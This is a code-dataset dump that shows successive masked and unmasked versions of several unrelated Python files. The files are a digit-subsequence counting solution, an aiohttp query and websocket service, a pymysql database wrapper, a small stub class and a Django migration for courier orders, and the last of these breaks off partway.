<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> for i in range(1000): l = str(i).zfill(3) k = 0 for j in range(N): if S[j] == l[k]: k += 1 if k == 3: ans += 1 break print(ans) <|reserved_special_token_1|> N = int(input()) S = input() ans = 0 for i in range(1000): l = str(i).zfill(3) k = 0 for j in range(N): if S[j] == l[k]: k += 1 if k == 3: ans += 1 break print(ans) <|reserved_special_token_1|> N=int(input()) S=input() ans=0 for i in range(1000): l=str(i).zfill(3);k=0 for j in range(N): if S[j]==l[k]: k+=1 if k==3:ans+=1;break print(ans)
flexible
{ "blob_id": "dabd835ff02f2adb01773fb7dd7099206cbae162", "index": 9903, "step-1": "<mask token>\n", "step-2": "<mask token>\nfor i in range(1000):\n l = str(i).zfill(3)\n k = 0\n for j in range(N):\n if S[j] == l[k]:\n k += 1\n if k == 3:\n ans += 1\n break\nprint(ans)\n", "step-3": "N = int(input())\nS = input()\nans = 0\nfor i in range(1000):\n l = str(i).zfill(3)\n k = 0\n for j in range(N):\n if S[j] == l[k]:\n k += 1\n if k == 3:\n ans += 1\n break\nprint(ans)\n", "step-4": "N=int(input())\nS=input()\nans=0\nfor i in range(1000):\n l=str(i).zfill(3);k=0\n for j in range(N):\n if S[j]==l[k]:\n k+=1\n if k==3:ans+=1;break\nprint(ans)\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }
[ 0, 1, 2, 3 ]
# -*- coding: utf-8 -*- import sqlalchemy as sa import ujson from aiohttp import web, WSMsgType from .db import TLE from .log import logger from .utils import parse_sa_filter, parse_sa_order, check_sa_column, get_sa_column async def query(request): filters = [] if 'filters' not in request.query: raise web.HTTPBadRequest(reason='Query parameter `filters` is required') try: _filters = ujson.loads(request.query.get('filters', '{}')) for k, v in _filters.items(): filters.extend(parse_sa_filter(TLE, k, v)) except ValueError: raise web.HTTPBadRequest(reason='Query parameter `filters` must contains valid JSON') _order = request.query.get('order', '{}') if _order.startswith('{'): try: order = ujson.loads(_order) except ValueError: raise web.HTTPBadRequest(reason='Query parameter `order` must contains valid JSON') else: order = _order order = parse_sa_order(TLE, order) only = [get_sa_column(TLE, key) for key in request.query.get('only', '').split(',') if check_sa_column(TLE, key)] async with request.app['pg'].acquire() as conn: rp = await conn.execute(sa.select(only or [TLE]).where(sa.and_(*filters)).order_by(*order)) return [dict(r) async for r in rp] async def index(request): html = ''' <html> <head> <script src="//ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js"></script> <script> var source = new WebSocket('ws://' + window.location.host + '/subscribe'); function eventListener(event) { var message = JSON.parse(event.data); $('.messages').append([ $('<dt>').text(message.channel), $('<dd>').text(event.data), ]); } source.onmessage = eventListener; </script> </head> <body> <dl class="messages"></dl> </body> </html> ''' return web.Response(text=html, content_type='text/html') async def subscribe(request): ws = web.WebSocketResponse() await ws.prepare(request) request.app['channels'].add(ws) logger.debug('Someone joined.') try: while True: msg = await ws.receive_json() if msg.get('command') == 'close': await ws.close() except Exception as exc: logger.exception(exc) finally: request.app['channels'].remove(ws) if ws.closed: request.app['channels'].remove(ws) logger.debug('websocket connection closed') return ws
normal
{ "blob_id": "c414e5d3934f741540fb5721a529b48f95e17016", "index": 5982, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\nasync def query(request):\n filters = []\n if 'filters' not in request.query:\n raise web.HTTPBadRequest(reason='Query parameter `filters` is required'\n )\n try:\n _filters = ujson.loads(request.query.get('filters', '{}'))\n for k, v in _filters.items():\n filters.extend(parse_sa_filter(TLE, k, v))\n except ValueError:\n raise web.HTTPBadRequest(reason=\n 'Query parameter `filters` must contains valid JSON')\n _order = request.query.get('order', '{}')\n if _order.startswith('{'):\n try:\n order = ujson.loads(_order)\n except ValueError:\n raise web.HTTPBadRequest(reason=\n 'Query parameter `order` must contains valid JSON')\n else:\n order = _order\n order = parse_sa_order(TLE, order)\n only = [get_sa_column(TLE, key) for key in request.query.get('only', ''\n ).split(',') if check_sa_column(TLE, key)]\n async with request.app['pg'].acquire() as conn:\n rp = await conn.execute(sa.select(only or [TLE]).where(sa.and_(*\n filters)).order_by(*order))\n return [dict(r) async for r in rp]\n\n\nasync def index(request):\n html = \"\"\"\n <html>\n <head>\n <script src=\"//ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js\"></script>\n <script>\n var source = new WebSocket('ws://' + window.location.host + '/subscribe');\n function eventListener(event) {\n var message = JSON.parse(event.data);\n $('.messages').append([\n $('<dt>').text(message.channel),\n $('<dd>').text(event.data),\n ]);\n }\n source.onmessage = eventListener;\n </script>\n </head>\n <body>\n <dl class=\"messages\"></dl>\n </body>\n </html>\n \"\"\"\n return web.Response(text=html, content_type='text/html')\n\n\nasync def subscribe(request):\n ws = web.WebSocketResponse()\n await ws.prepare(request)\n request.app['channels'].add(ws)\n logger.debug('Someone joined.')\n try:\n while True:\n msg = await ws.receive_json()\n if msg.get('command') == 'close':\n await ws.close()\n except Exception as exc:\n logger.exception(exc)\n finally:\n request.app['channels'].remove(ws)\n if ws.closed:\n request.app['channels'].remove(ws)\n logger.debug('websocket connection closed')\n return ws\n", "step-3": "import sqlalchemy as sa\nimport ujson\nfrom aiohttp import web, WSMsgType\nfrom .db import TLE\nfrom .log import logger\nfrom .utils import parse_sa_filter, parse_sa_order, check_sa_column, get_sa_column\n\n\nasync def query(request):\n filters = []\n if 'filters' not in request.query:\n raise web.HTTPBadRequest(reason='Query parameter `filters` is required'\n )\n try:\n _filters = ujson.loads(request.query.get('filters', '{}'))\n for k, v in _filters.items():\n filters.extend(parse_sa_filter(TLE, k, v))\n except ValueError:\n raise web.HTTPBadRequest(reason=\n 'Query parameter `filters` must contains valid JSON')\n _order = request.query.get('order', '{}')\n if _order.startswith('{'):\n try:\n order = ujson.loads(_order)\n except ValueError:\n raise web.HTTPBadRequest(reason=\n 'Query parameter `order` must contains valid JSON')\n else:\n order = _order\n order = parse_sa_order(TLE, order)\n only = [get_sa_column(TLE, key) for key in request.query.get('only', ''\n ).split(',') if check_sa_column(TLE, key)]\n async with request.app['pg'].acquire() as conn:\n rp = await conn.execute(sa.select(only or [TLE]).where(sa.and_(*\n filters)).order_by(*order))\n return [dict(r) async for r in rp]\n\n\nasync def index(request):\n html = \"\"\"\n <html>\n <head>\n <script src=\"//ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js\"></script>\n <script>\n var source = new WebSocket('ws://' + window.location.host + '/subscribe');\n function eventListener(event) {\n var message = JSON.parse(event.data);\n $('.messages').append([\n $('<dt>').text(message.channel),\n $('<dd>').text(event.data),\n ]);\n }\n source.onmessage = eventListener;\n </script>\n </head>\n <body>\n <dl class=\"messages\"></dl>\n </body>\n </html>\n \"\"\"\n return web.Response(text=html, content_type='text/html')\n\n\nasync def subscribe(request):\n ws = web.WebSocketResponse()\n await ws.prepare(request)\n request.app['channels'].add(ws)\n logger.debug('Someone joined.')\n try:\n while True:\n msg = await ws.receive_json()\n if msg.get('command') == 'close':\n await ws.close()\n except Exception as exc:\n logger.exception(exc)\n finally:\n request.app['channels'].remove(ws)\n if ws.closed:\n request.app['channels'].remove(ws)\n logger.debug('websocket connection closed')\n return ws\n", "step-4": "# -*- coding: utf-8 -*-\n\nimport sqlalchemy as sa\nimport ujson\nfrom aiohttp import web, WSMsgType\n\nfrom .db import TLE\nfrom .log import logger\nfrom .utils import parse_sa_filter, parse_sa_order, check_sa_column, get_sa_column\n\n\nasync def query(request):\n filters = []\n if 'filters' not in request.query:\n raise web.HTTPBadRequest(reason='Query parameter `filters` is required')\n\n try:\n _filters = ujson.loads(request.query.get('filters', '{}'))\n for k, v in _filters.items():\n filters.extend(parse_sa_filter(TLE, k, v))\n except ValueError:\n raise web.HTTPBadRequest(reason='Query parameter `filters` must contains valid JSON')\n\n _order = request.query.get('order', '{}')\n if _order.startswith('{'):\n try:\n order = ujson.loads(_order)\n except ValueError:\n raise web.HTTPBadRequest(reason='Query parameter `order` must contains valid JSON')\n else:\n order = _order\n\n order = parse_sa_order(TLE, order)\n only = [get_sa_column(TLE, key) for key in request.query.get('only', '').split(',') if check_sa_column(TLE, key)]\n\n async with request.app['pg'].acquire() as conn:\n rp = await conn.execute(sa.select(only or [TLE]).where(sa.and_(*filters)).order_by(*order))\n return [dict(r) async for r in rp]\n\n\nasync def index(request):\n html = '''\n <html>\n <head>\n <script src=\"//ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js\"></script>\n <script>\n var source = new WebSocket('ws://' + window.location.host + '/subscribe');\n function eventListener(event) {\n var message = JSON.parse(event.data);\n $('.messages').append([\n $('<dt>').text(message.channel),\n $('<dd>').text(event.data),\n ]);\n }\n source.onmessage = eventListener;\n </script>\n </head>\n <body>\n <dl class=\"messages\"></dl>\n </body>\n </html>\n '''\n return web.Response(text=html, content_type='text/html')\n\n\nasync def subscribe(request):\n ws = web.WebSocketResponse()\n await ws.prepare(request)\n request.app['channels'].add(ws)\n logger.debug('Someone joined.')\n try:\n while True:\n msg = await ws.receive_json()\n if msg.get('command') == 'close':\n await ws.close()\n except Exception as exc:\n logger.exception(exc)\n finally:\n request.app['channels'].remove(ws)\n\n if ws.closed:\n request.app['channels'].remove(ws)\n\n logger.debug('websocket connection closed')\n return ws\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }
[ 0, 1, 2, 3 ]
import pymysql import logging import socket from models.platformconfig import Pconfig class ncbDB(Pconfig): # I have to retrieve basic configuration attributes, listed below, from system config file # on ApplSrv, for example : /etc/ncb_applsrv/ncb_applsrv.conf hostname = None conferenceMediaStoragePath = '/media/conference/' # NFS mount point conferenceDBcurs = None connect_db = None def __init__(self, srvrole): super(ncbDB, self).__init__(srvrole) # run constructor of parent object self.hostname = socket.gethostname() # get local hostname TODO: validate hostname with that one in config file self.conferenceMediaStoragePath = self.lconfig.get('media', 'media_path') # TODO: if valid to remove it above try: self.connect_db = pymysql.connect(self.db_server, self.conferenceConfigDBname_user, self.conferenceConfigDBname_passwd, self.conferenceConfigDBname, charset='utf8mb4', cursorclass=pymysql.cursors.DictCursor) # self.conferenceDBcurs = self.connect_db.cursor() except pymysql.Error as er: logging.critical("Can not establish connection to configuration DB: %s", self.conferenceConfigDBname) raise Exception(er[0], er[1]) # the method executes SQL query and returns all fetched rows. Otherwise it returns None def ncb_getQuery(self, querySQL): result = [] try: with self.connect_db.cursor() as self.conferenceDBcurs: self.conferenceDBcurs.execute(querySQL) result = self.conferenceDBcurs.fetchall() return True, result except pymysql.ProgrammingError as er: logging.critical('ERROR: ProgrammingError in Conference DB. Call to support immediately - %s, %s' % (er[0], er[1])) return False, er[1] except pymysql.InternalError as er: logging.critical('ERROR: InternallError in Conference DB. Call to support immediately - %s, %s' % (er[0], er[1])) return False, er[1] except pymysql.Error as er: logging.critical('ERROR: Can not get a data from Conference DB. Call to support immediately - %s, %s' % (er[0], er[1])) return False, er[1] # the method executes SQL query to push data into DB. def ncb_pushQuery(self, querySQL): try: with self.connect_db.cursor() as self.conferenceDBcurs: self.conferenceDBcurs.execute(querySQL) self.connect_db.commit() return (True, []) except pymysql.Error as er: logging.critical('ERROR: Can not push a data into Conference DB. Call to support immediately - %s, %s' % (er[0], er[1])) return False, er[1] except pymysql.IntegrityError as er: logging.critical('ERROR: IntegrityError in Conference DB. Call to support immediately %s, %s' % (er[0], er[1])) return False, er[1] except pymysql.OperationalError as er: logging.critical('ERROR: OperationalError in Conference DB. Call to support immediately - %s, %s' % (er[0], er[1])) return False, er[1] except pymysql.InternalError as er: logging.critical('ERROR: InternallError in Conference DB. Call to support immediately - %s, %s' % (er[0], er[1])) return False, er[1] # if more than one rows are retrieved - it gets first row from the list as a dictionary def listdicttodict(self, listdict): return listdict[1][0] def getGlobalMediaPath(self): if not os.path.exists(self.conferenceMediaStoragePath): # check it out whether it exist return None # if it doesn't - return None else: return self.conferenceMediaStoragePath # otherwise return the path def __del__(self): self.connect_db.close()
normal
{ "blob_id": "257a4d0b0c713624ea8452dbfd6c5a96c9a426ad", "index": 8344, "step-1": "<mask token>\n\n\nclass ncbDB(Pconfig):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def ncb_getQuery(self, querySQL):\n result = []\n try:\n with self.connect_db.cursor() as self.conferenceDBcurs:\n self.conferenceDBcurs.execute(querySQL)\n result = self.conferenceDBcurs.fetchall()\n return True, result\n except pymysql.ProgrammingError as er:\n logging.critical(\n 'ERROR: ProgrammingError in Conference DB. Call to support immediately - %s, %s'\n % (er[0], er[1]))\n return False, er[1]\n except pymysql.InternalError as er:\n logging.critical(\n 'ERROR: InternallError in Conference DB. Call to support immediately - %s, %s'\n % (er[0], er[1]))\n return False, er[1]\n except pymysql.Error as er:\n logging.critical(\n 'ERROR: Can not get a data from Conference DB. Call to support immediately - %s, %s'\n % (er[0], er[1]))\n return False, er[1]\n <mask token>\n\n def listdicttodict(self, listdict):\n return listdict[1][0]\n <mask token>\n\n def __del__(self):\n self.connect_db.close()\n", "step-2": "<mask token>\n\n\nclass ncbDB(Pconfig):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def __init__(self, srvrole):\n super(ncbDB, self).__init__(srvrole)\n self.hostname = socket.gethostname()\n self.conferenceMediaStoragePath = self.lconfig.get('media',\n 'media_path')\n try:\n self.connect_db = pymysql.connect(self.db_server, self.\n conferenceConfigDBname_user, self.\n conferenceConfigDBname_passwd, self.conferenceConfigDBname,\n charset='utf8mb4', cursorclass=pymysql.cursors.DictCursor)\n except pymysql.Error as er:\n logging.critical(\n 'Can not establish connection to configuration DB: %s',\n self.conferenceConfigDBname)\n raise Exception(er[0], er[1])\n\n def ncb_getQuery(self, querySQL):\n result = []\n try:\n with self.connect_db.cursor() as self.conferenceDBcurs:\n self.conferenceDBcurs.execute(querySQL)\n result = self.conferenceDBcurs.fetchall()\n return True, result\n except pymysql.ProgrammingError as er:\n logging.critical(\n 'ERROR: ProgrammingError in Conference DB. Call to support immediately - %s, %s'\n % (er[0], er[1]))\n return False, er[1]\n except pymysql.InternalError as er:\n logging.critical(\n 'ERROR: InternallError in Conference DB. Call to support immediately - %s, %s'\n % (er[0], er[1]))\n return False, er[1]\n except pymysql.Error as er:\n logging.critical(\n 'ERROR: Can not get a data from Conference DB. Call to support immediately - %s, %s'\n % (er[0], er[1]))\n return False, er[1]\n\n def ncb_pushQuery(self, querySQL):\n try:\n with self.connect_db.cursor() as self.conferenceDBcurs:\n self.conferenceDBcurs.execute(querySQL)\n self.connect_db.commit()\n return True, []\n except pymysql.Error as er:\n logging.critical(\n 'ERROR: Can not push a data into Conference DB. Call to support immediately - %s, %s'\n % (er[0], er[1]))\n return False, er[1]\n except pymysql.IntegrityError as er:\n logging.critical(\n 'ERROR: IntegrityError in Conference DB. Call to support immediately %s, %s'\n % (er[0], er[1]))\n return False, er[1]\n except pymysql.OperationalError as er:\n logging.critical(\n 'ERROR: OperationalError in Conference DB. Call to support immediately - %s, %s'\n % (er[0], er[1]))\n return False, er[1]\n except pymysql.InternalError as er:\n logging.critical(\n 'ERROR: InternallError in Conference DB. Call to support immediately - %s, %s'\n % (er[0], er[1]))\n return False, er[1]\n\n def listdicttodict(self, listdict):\n return listdict[1][0]\n\n def getGlobalMediaPath(self):\n if not os.path.exists(self.conferenceMediaStoragePath):\n return None\n else:\n return self.conferenceMediaStoragePath\n\n def __del__(self):\n self.connect_db.close()\n", "step-3": "<mask token>\n\n\nclass ncbDB(Pconfig):\n hostname = None\n conferenceMediaStoragePath = '/media/conference/'\n conferenceDBcurs = None\n connect_db = None\n\n def __init__(self, srvrole):\n super(ncbDB, self).__init__(srvrole)\n self.hostname = socket.gethostname()\n self.conferenceMediaStoragePath = self.lconfig.get('media',\n 'media_path')\n try:\n self.connect_db = pymysql.connect(self.db_server, self.\n conferenceConfigDBname_user, self.\n conferenceConfigDBname_passwd, self.conferenceConfigDBname,\n charset='utf8mb4', cursorclass=pymysql.cursors.DictCursor)\n except pymysql.Error as er:\n logging.critical(\n 'Can not establish connection to configuration DB: %s',\n self.conferenceConfigDBname)\n raise Exception(er[0], er[1])\n\n def ncb_getQuery(self, querySQL):\n result = []\n try:\n with self.connect_db.cursor() as self.conferenceDBcurs:\n self.conferenceDBcurs.execute(querySQL)\n result = self.conferenceDBcurs.fetchall()\n return True, result\n except pymysql.ProgrammingError as er:\n logging.critical(\n 'ERROR: ProgrammingError in Conference DB. Call to support immediately - %s, %s'\n % (er[0], er[1]))\n return False, er[1]\n except pymysql.InternalError as er:\n logging.critical(\n 'ERROR: InternallError in Conference DB. Call to support immediately - %s, %s'\n % (er[0], er[1]))\n return False, er[1]\n except pymysql.Error as er:\n logging.critical(\n 'ERROR: Can not get a data from Conference DB. Call to support immediately - %s, %s'\n % (er[0], er[1]))\n return False, er[1]\n\n def ncb_pushQuery(self, querySQL):\n try:\n with self.connect_db.cursor() as self.conferenceDBcurs:\n self.conferenceDBcurs.execute(querySQL)\n self.connect_db.commit()\n return True, []\n except pymysql.Error as er:\n logging.critical(\n 'ERROR: Can not push a data into Conference DB. Call to support immediately - %s, %s'\n % (er[0], er[1]))\n return False, er[1]\n except pymysql.IntegrityError as er:\n logging.critical(\n 'ERROR: IntegrityError in Conference DB. Call to support immediately %s, %s'\n % (er[0], er[1]))\n return False, er[1]\n except pymysql.OperationalError as er:\n logging.critical(\n 'ERROR: OperationalError in Conference DB. Call to support immediately - %s, %s'\n % (er[0], er[1]))\n return False, er[1]\n except pymysql.InternalError as er:\n logging.critical(\n 'ERROR: InternallError in Conference DB. Call to support immediately - %s, %s'\n % (er[0], er[1]))\n return False, er[1]\n\n def listdicttodict(self, listdict):\n return listdict[1][0]\n\n def getGlobalMediaPath(self):\n if not os.path.exists(self.conferenceMediaStoragePath):\n return None\n else:\n return self.conferenceMediaStoragePath\n\n def __del__(self):\n self.connect_db.close()\n", "step-4": "import pymysql\nimport logging\nimport socket\nfrom models.platformconfig import Pconfig\n\n\nclass ncbDB(Pconfig):\n hostname = None\n conferenceMediaStoragePath = '/media/conference/'\n conferenceDBcurs = None\n connect_db = None\n\n def __init__(self, srvrole):\n super(ncbDB, self).__init__(srvrole)\n self.hostname = socket.gethostname()\n self.conferenceMediaStoragePath = self.lconfig.get('media',\n 'media_path')\n try:\n self.connect_db = pymysql.connect(self.db_server, self.\n conferenceConfigDBname_user, self.\n conferenceConfigDBname_passwd, self.conferenceConfigDBname,\n charset='utf8mb4', cursorclass=pymysql.cursors.DictCursor)\n except pymysql.Error as er:\n logging.critical(\n 'Can not establish connection to configuration DB: %s',\n self.conferenceConfigDBname)\n raise Exception(er[0], er[1])\n\n def ncb_getQuery(self, querySQL):\n result = []\n try:\n with self.connect_db.cursor() as self.conferenceDBcurs:\n self.conferenceDBcurs.execute(querySQL)\n result = self.conferenceDBcurs.fetchall()\n return True, result\n except pymysql.ProgrammingError as er:\n logging.critical(\n 'ERROR: ProgrammingError in Conference DB. Call to support immediately - %s, %s'\n % (er[0], er[1]))\n return False, er[1]\n except pymysql.InternalError as er:\n logging.critical(\n 'ERROR: InternallError in Conference DB. Call to support immediately - %s, %s'\n % (er[0], er[1]))\n return False, er[1]\n except pymysql.Error as er:\n logging.critical(\n 'ERROR: Can not get a data from Conference DB. Call to support immediately - %s, %s'\n % (er[0], er[1]))\n return False, er[1]\n\n def ncb_pushQuery(self, querySQL):\n try:\n with self.connect_db.cursor() as self.conferenceDBcurs:\n self.conferenceDBcurs.execute(querySQL)\n self.connect_db.commit()\n return True, []\n except pymysql.Error as er:\n logging.critical(\n 'ERROR: Can not push a data into Conference DB. Call to support immediately - %s, %s'\n % (er[0], er[1]))\n return False, er[1]\n except pymysql.IntegrityError as er:\n logging.critical(\n 'ERROR: IntegrityError in Conference DB. Call to support immediately %s, %s'\n % (er[0], er[1]))\n return False, er[1]\n except pymysql.OperationalError as er:\n logging.critical(\n 'ERROR: OperationalError in Conference DB. Call to support immediately - %s, %s'\n % (er[0], er[1]))\n return False, er[1]\n except pymysql.InternalError as er:\n logging.critical(\n 'ERROR: InternallError in Conference DB. Call to support immediately - %s, %s'\n % (er[0], er[1]))\n return False, er[1]\n\n def listdicttodict(self, listdict):\n return listdict[1][0]\n\n def getGlobalMediaPath(self):\n if not os.path.exists(self.conferenceMediaStoragePath):\n return None\n else:\n return self.conferenceMediaStoragePath\n\n def __del__(self):\n self.connect_db.close()\n", "step-5": "import pymysql\nimport logging\nimport socket\nfrom models.platformconfig import Pconfig\n\n\nclass ncbDB(Pconfig):\n # I have to retrieve basic configuration attributes, listed below, from system config file\n # on ApplSrv, for example : /etc/ncb_applsrv/ncb_applsrv.conf\n\n hostname = None\n conferenceMediaStoragePath = '/media/conference/' # NFS mount point\n conferenceDBcurs = None\n connect_db = None\n\n def __init__(self, srvrole):\n super(ncbDB, self).__init__(srvrole) # run constructor of parent object\n\n self.hostname = socket.gethostname() # get local hostname TODO: validate hostname with that one in config file\n self.conferenceMediaStoragePath = self.lconfig.get('media', 'media_path') # TODO: if valid to remove it above\n try:\n self.connect_db = pymysql.connect(self.db_server,\n self.conferenceConfigDBname_user,\n self.conferenceConfigDBname_passwd,\n self.conferenceConfigDBname,\n charset='utf8mb4',\n cursorclass=pymysql.cursors.DictCursor)\n # self.conferenceDBcurs = self.connect_db.cursor()\n except pymysql.Error as er:\n logging.critical(\"Can not establish connection to configuration DB: %s\", self.conferenceConfigDBname)\n raise Exception(er[0], er[1])\n\n # the method executes SQL query and returns all fetched rows. Otherwise it returns None\n def ncb_getQuery(self, querySQL):\n result = []\n try:\n with self.connect_db.cursor() as self.conferenceDBcurs:\n self.conferenceDBcurs.execute(querySQL)\n result = self.conferenceDBcurs.fetchall()\n return True, result\n except pymysql.ProgrammingError as er:\n logging.critical('ERROR: ProgrammingError in Conference DB. Call to support immediately - %s, %s' % (er[0], er[1]))\n return False, er[1]\n except pymysql.InternalError as er:\n logging.critical('ERROR: InternallError in Conference DB. Call to support immediately - %s, %s' % (er[0], er[1]))\n return False, er[1]\n except pymysql.Error as er:\n logging.critical('ERROR: Can not get a data from Conference DB. Call to support immediately - %s, %s' % (er[0], er[1]))\n return False, er[1]\n\n # the method executes SQL query to push data into DB.\n def ncb_pushQuery(self, querySQL):\n try:\n with self.connect_db.cursor() as self.conferenceDBcurs:\n self.conferenceDBcurs.execute(querySQL)\n self.connect_db.commit()\n return (True, [])\n except pymysql.Error as er:\n logging.critical('ERROR: Can not push a data into Conference DB. Call to support immediately - %s, %s' % (er[0], er[1]))\n return False, er[1]\n except pymysql.IntegrityError as er:\n logging.critical('ERROR: IntegrityError in Conference DB. Call to support immediately %s, %s' % (er[0], er[1]))\n return False, er[1]\n except pymysql.OperationalError as er:\n logging.critical('ERROR: OperationalError in Conference DB. Call to support immediately - %s, %s' % (er[0], er[1]))\n return False, er[1]\n except pymysql.InternalError as er:\n logging.critical('ERROR: InternallError in Conference DB. Call to support immediately - %s, %s' % (er[0], er[1]))\n return False, er[1]\n\n # if more than one rows are retrieved - it gets first row from the list as a dictionary\n def listdicttodict(self, listdict):\n return listdict[1][0]\n\n def getGlobalMediaPath(self):\n if not os.path.exists(self.conferenceMediaStoragePath): # check it out whether it exist\n return None # if it doesn't - return None\n else:\n return self.conferenceMediaStoragePath # otherwise return the path\n\n def __del__(self):\n self.connect_db.close()\n", "step-ids": [ 4, 7, 8, 9, 10 ] }
[ 4, 7, 8, 9, 10 ]
<|reserved_special_token_0|> class ConexionList: <|reserved_special_token_0|> def selectClientes(self): pass def selectProveedores(self): pass <|reserved_special_token_1|> <|reserved_special_token_0|> class ConexionList: def __init__(self): self.conexion = Conexion() def selectClientes(self): pass def selectProveedores(self): pass <|reserved_special_token_1|> __author__ = 'Vicio' <|reserved_special_token_0|> class ConexionList: def __init__(self): self.conexion = Conexion() def selectClientes(self): pass def selectProveedores(self): pass <|reserved_special_token_1|> __author__ = 'Vicio' from Conexion.conexion import Conexion class ConexionList: def __init__(self): self.conexion = Conexion() def selectClientes(self): pass def selectProveedores(self): pass <|reserved_special_token_1|> __author__ = 'Vicio' from Conexion.conexion import Conexion class ConexionList(): def __init__(self): self.conexion = Conexion() def selectClientes(self): pass def selectProveedores(self): pass
flexible
{ "blob_id": "6b4af452778bdf13ac18e8d260cf1c9176ca95e0", "index": 8414, "step-1": "<mask token>\n\n\nclass ConexionList:\n <mask token>\n\n def selectClientes(self):\n pass\n\n def selectProveedores(self):\n pass\n", "step-2": "<mask token>\n\n\nclass ConexionList:\n\n def __init__(self):\n self.conexion = Conexion()\n\n def selectClientes(self):\n pass\n\n def selectProveedores(self):\n pass\n", "step-3": "__author__ = 'Vicio'\n<mask token>\n\n\nclass ConexionList:\n\n def __init__(self):\n self.conexion = Conexion()\n\n def selectClientes(self):\n pass\n\n def selectProveedores(self):\n pass\n", "step-4": "__author__ = 'Vicio'\nfrom Conexion.conexion import Conexion\n\n\nclass ConexionList:\n\n def __init__(self):\n self.conexion = Conexion()\n\n def selectClientes(self):\n pass\n\n def selectProveedores(self):\n pass\n", "step-5": "__author__ = 'Vicio'\nfrom Conexion.conexion import Conexion\n\n\nclass ConexionList():\n\n def __init__(self):\n self.conexion = Conexion()\n\n\n\n def selectClientes(self):\n pass\n\n\n def selectProveedores(self):\n pass\n\n\n\n\n\n", "step-ids": [ 3, 4, 5, 6, 7 ] }
[ 3, 4, 5, 6, 7 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class Migration(migrations.Migration): <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class Migration(migrations.Migration): dependencies = [('api', '0005_cashiershift_couriershift_couriershiftexpenses_dailyransom_expensestype_vehicleservice' )] operations = [migrations.AlterField(model_name='address', name='city', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='city_addresses', related_query_name='city_address', to='api.City')), migrations.AlterField(model_name='address', name= 'district', field=models.ForeignKey(on_delete=django.db.models. deletion.CASCADE, related_name='district_addresses', related_query_name='district_address', to='api.District')), migrations.AlterField(model_name='address', name='street', field= models.ForeignKey(max_length=255, on_delete=django.db.models.fields .Empty, related_name='street_addresses', related_query_name= 'street_address', to='api.Street', verbose_name='Улица')), migrations.AlterField(model_name='couriershift', name='courier', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='couriers', related_query_name='courier', to=settings. AUTH_USER_MODEL, verbose_name='Курьер')), migrations.AlterField( model_name='couriershift', name='vehicle', field=models.ForeignKey( blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='shift_vehicles', related_query_name='shift_vehicle', to='api.Vehicle', verbose_name='Транспортное средство')), migrations.AlterField(model_name='couriershift', name= 'vehicle_accepted_by', field=models.ForeignKey(blank=True, null= True, on_delete=django.db.models.deletion.CASCADE, related_name= 'vehicle_accepted_bys', related_query_name='vehicle_accepted_by', to=settings.AUTH_USER_MODEL, verbose_name='Принял')), migrations. AlterField(model_name='couriershift', name='vehicle_given_by', field=models.ForeignKey(blank=True, null=True, on_delete=django.db. models.deletion.CASCADE, related_name='vehicle_given_bys', related_query_name='vehicle_given_by', to=settings.AUTH_USER_MODEL, verbose_name='Выдал')), migrations.AlterField(model_name='district', name='city', field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name= 'city_districts', related_query_name='city_district', to='api.City' )), migrations.AlterField(model_name='technicalservice', name= 'address', field=models.ForeignKey(blank=True, null=True, on_delete =django.db.models.deletion.CASCADE, related_name='address_services', related_query_name='address_service', to='api.Address', verbose_name='Адрес СТО')), migrations.AlterField(model_name= 'vehicleservice', name='service', field=models.ForeignKey(on_delete =django.db.models.fields.Empty, related_name='service_vehicles', related_query_name='service_vehicle', to='api.TechnicalService')), migrations.AlterField(model_name='vehicleservice', name='vehicle', field=models.ForeignKey(on_delete=django.db.models.fields.Empty, related_name='vehicles', related_query_name='vehicle', to= 'api.Vehicle')), migrations.CreateModel(name='Order', fields=[('id', models.AutoField(auto_created=True, primary_key=True, serialize= False, verbose_name='ID')), ('deleted', models.DateTimeField( editable=False, null=True)), ('created_at', models.DateTimeField( auto_now_add=True, verbose_name='Created at')), ('updated_at', models.DateTimeField(auto_now_add=True, verbose_name='Updated at')), ('status', models.CharField(choices=[('new', 'Новый'), ('accepted', 'Принят'), ('canceled', 'Отменен'), ('done', 'Завершен'), ( 'in_progress', 'Выполняется')], default='new', max_length=100, verbose_name='Статус заказа')), ('accepted_time', models. DateTimeField(blank=True, null=True, verbose_name= 'Время подтверждения заказа')), ('start_time', models.DateTimeField (blank=True, null=True, verbose_name= 'Время начала выполнения заказа')), ('end_time', models. DateTimeField(blank=True, null=True, verbose_name= 'Время завершения заказа')), ('reciever_name', models.CharField( blank=True, max_length=255, null=True, verbose_name= 'Имя получателя')), ('info', models.TextField(blank=True, null=True, verbose_name='Дополнительные сведения')), ('ransom_sum', models. DecimalField(decimal_places=2, max_digits=6, verbose_name= 'Сумма выкупа')), ('wait_time', models.TimeField(blank=True, null= True, verbose_name='Время ожидания')), ('delivery_cost', models. IntegerField(blank=True, null=True, verbose_name= 'Стоимость даставки')), ('delivery_time', models.TimeField(blank= True, null=True, verbose_name='Время выполнения заказа')), ( 'courier_shift', models.ForeignKey(on_delete=django.db.models. deletion.CASCADE, related_name='courier_orders', related_query_name ='courier_order', to='api.CourierShift', verbose_name= 'Смена курьера')), ('created_by', models.ForeignKey(on_delete= django.db.models.deletion.CASCADE, related_name='orders_created_by', related_query_name='order_created_by', to=settings.AUTH_USER_MODEL, verbose_name='Кем создан')), ('customer', models.ForeignKey(blank= True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='customers_orders', related_query_name= 'customer_order', to=settings.AUTH_USER_MODEL, verbose_name= 'Клиент')), ('delivery_from', 